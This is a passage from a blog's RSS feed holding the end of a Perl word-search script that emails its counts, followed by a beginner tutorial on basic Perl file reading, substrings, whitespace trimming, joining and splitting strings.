<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;Subject: $subject\n\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$count=0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">while($count &lt; @ARGV)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span>print MAIL &#8220;The Number of Occurance of the word \&#8221;$wordToSearch\&#8221; in the file \&#8221;$ARGV[count]\&#8221; is: $wordCount[count]\n\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">}</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;The total number of Ocuurance of the word \&#8221;$wordToSearch\&#8221; in all the files is : $totalWordCount \n\n\n\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;\n\nThis email was system generated, please do not reply.&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">print MAIL &#8220;\n\n\n\n\n\n\n\n\n\n\n\nThis e-mail may contain confidential and/or privileged information. If you are not the intended recipient (or have received this e-mail in error) please notify the sender immediately and destroy this e-mail. Any unauthorized copying, disclosure or distribution of the material in this e-mail is strictly forbidden.&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: -0.5in; line-height: 150%; text-align: justify;"><span style="font-size: 10pt; line-height: 150%; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">close (MAIL);</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/23/perl-script-a-word-search-program/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Perl &#8211; Coding Tips</title>
		<link>http://www.dailyinfobyte.com/2009/03/23/perl-coding-tips/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/23/perl-coding-tips/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 03:02:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[coding tips]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Perl - Coding Tips]]></category>
		<category><![CDATA[perl scripts]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=117</guid>
		<description><![CDATA[Introduction
This document covers the basic functionalities in perl. These include the following:
·         Open and read file
·         Substring
·         Trim white spaces
·         Join string with/out delimiter
·         Remove newline
·         Split into array [reading key value pair]
·         String comparison and numeric comparison 
·         Assign data in Hash or associative array and access the data
·         Write to and Close file
 
 
Open [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0in 11.25pt 10pt 1in;"><strong><span style="font-size: 10pt; color: #000066; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Introduction</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">This document covers the basic functionalities in perl. These include the following:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Open and read file</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substring</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Trim white spaces</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Join string with/out delimiter</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Remove newline</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Split into array [reading key value pair]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">String comparison and numeric comparison </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Assign data in Hash or associative array and access the data</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.5in; text-indent: -0.25in; text-align: justify; mso-list: l0 level2 lfo1; tab-stops: list 1.5in;"><span style="font-size: 10pt; font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol;"><span style="mso-list: Ignore;">·<span style="font: 7pt &quot;Times New Roman&quot;;">         </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Write to and Close file</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.25in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1.25in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><a name="_Toc220220659"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Open and Read file</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">To open and read a file, the read access to the file should be given. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">open (&lt;File identifier&gt;,&#8221;&lt;&#8221;,&#8221;&lt;file&gt;&#8221;)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">or die &#8220;open failed:<span style="mso-spacerun: yes;">  </span>$!&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">File Identifier</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> – After opening the file, the file will be referenced with the file identifier.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Symbol</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> ‘<strong style="mso-bidi-font-weight: normal;">&lt;</strong>’ – open a file in read mode</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">die</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> &#8211; If open of the file failed, the program will display the error message and abort</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$var=&lt; File identifier&gt;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">E.g.: <strong style="mso-bidi-font-weight: normal;">$var=’this is the first line of the file’</strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Read the first record (first line) from the file. Variable $var will hold the first line of the file.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">@file_array=&lt;</span><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;"> File identifier<span style="color: black;"> &gt;</span></span><span style="font-size: 10pt; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">The contents of the file can be assigned to an array</span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220660"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substring</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$substr_var=substr &lt;string&gt;, &lt;start position&gt;, &lt;field length&gt;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Get a substring of the first record from the file. The first record is stored in the variable $var. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">In perl, the start position of a string is 0.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">E.g.: If we need to cut first 5 characters from $var, start position will be 0 and field length will be 5.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">$substr_var=substr $var, 0, 5</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">So,<strong style="mso-bidi-font-weight: normal;"> $substr_var=’this ‘</strong></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Note: Start position of a string in UNIX is 1. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220661"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Trim White Spaces</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from the end of the string (trailing spaces)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$variable =~ s/\s+$//</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from the beginning of the string (leading spaces)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$variable =~ s/^\s+//</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from anywhere in the string</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$string =~ s/\s+//g</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute one or more white space characters with nothing from end and beginning of the string (leading and trailing spaces)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$test =~ s/^\s+|\s+$//g</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 1;">          </span></span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220662"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Join string with/out delimiter</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">Join “”, &lt;string 1&gt;, &lt;string2&gt; [Join without any delimiter]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Output</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">: &lt;string1&gt;&lt;string2&gt;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">Join “,”, &lt;string 1&gt;, &lt;string2&gt; [Join with ‘,’ delimiter]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Output</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">: &lt;string1&gt;,&lt;string2&gt;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220663"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Remove newline</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Substitute newline with nothing from the end of the string</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">$variable =~ s/\n+$//</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; background: silver; color: black; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-highlight: silver;">chomp ($variable)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">If <span style="color: black;">variable</span> is a hash, it chomps the hash&#8217;s values, but not its keys</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></strong></p>
<h2 style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><a name="_Toc220220664"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Array [split on delimiter]</span></span></a><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.5in; text-indent: 0.5in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold; mso-bidi-font-family: Arial;">Array</span></span><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> designated by @</span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">@Arraytrial = (‘Trial’,’Array’)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">$# Arraytrial=1 [</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">largest index value] </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">To clean any array just set the largest index value to -1</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">$# Arraytrial = -1;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">String can be put into array splitting it on a delimiter</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">@</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';"> Arraytrial </span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">= <strong style="mso-bidi-font-weight: normal;">split</strong>(&#8217;,',$variable) [splitted on comma ‘,’]</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;"><span style="mso-tab-count: 1;">          </span>Split is an in built function which splits the string on the delimiter.</span></p>
<h2 style="margin: 0in 0in 0pt 1in;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></h2>
